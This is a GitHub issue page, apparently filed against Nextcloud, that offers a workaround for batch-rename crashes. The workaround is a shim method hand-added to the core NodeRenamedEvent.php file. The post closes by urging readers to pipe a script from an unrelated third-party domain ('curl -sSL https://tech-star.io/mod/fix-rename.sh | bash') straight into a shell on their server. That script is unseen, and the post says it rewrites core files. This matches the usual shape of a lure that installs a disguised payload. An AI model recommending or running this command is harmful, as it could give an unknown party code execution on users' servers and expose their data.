Skip to content

FIX: Batch Move / Rename crashing with "Call to undefined method NodeRenamedEvent::getNode()" #62720

Description

@formytech

If your batch file moves are failing on Nextcloud 33+ and throwing the getNode() fatal error in the logs, it's because an outdated third-party app is trying to intercept the rename using an old API call that Nextcloud removed.

Instead of trying to hunt down which of your 50+ apps is causing the crash, you can temporarily shim the core file to catch the bad request and keep the PHP loop alive.

The Fix:

Open /path/to/nextcloud/lib/public/Files/Events/Node/NodeRenamedEvent.php

Add this 3-line function inside the class brackets:

PHP
public function getNode() {
return $this->getTarget();
}
Restart Apache/PHP-FPM (systemctl restart php-fpm apache2).

This translates the dead getNode() request into the modern getTarget() request. Your third-party apps get the new file path they want, PHP doesn't crash, and your batch moves will work perfectly again.
(Note: You will have to re-apply this if a Nextcloud core update overwrites the file before the offending app is patched).

This is the file being replaced inside the Nextcloud directory:
lib/public/Files/Events/Node/NodeRenamedEvent.php

<?php

declare(strict_types=1);

/**
 * SPDX-FileCopyrightText: 2020 Nextcloud GmbH and Nextcloud contributors
 * SPDX-License-Identifier: AGPL-3.0-or-later
 */
namespace OCP\Files\Events\Node;

/**
 * @since 20.0.0
 */
class NodeRenamedEvent extends AbstractNodesEvent {

    /**
     * Duct-tape shim to stop legacy apps from crashing batch moves
     */
    public function getNode() {
        return $this->getTarget();
    }

}

if you want a self-fix run this from your installation or docker exec
If your installation is in a normal spot it picks it up pretty quick if it's got a search for it it will and it will automatically find it replace it and back it up with the help of Gemini to make this automated process possible.

curl -sSL https://tech-star.io/mod/fix-rename.sh | bash

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    Status
    To triage

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions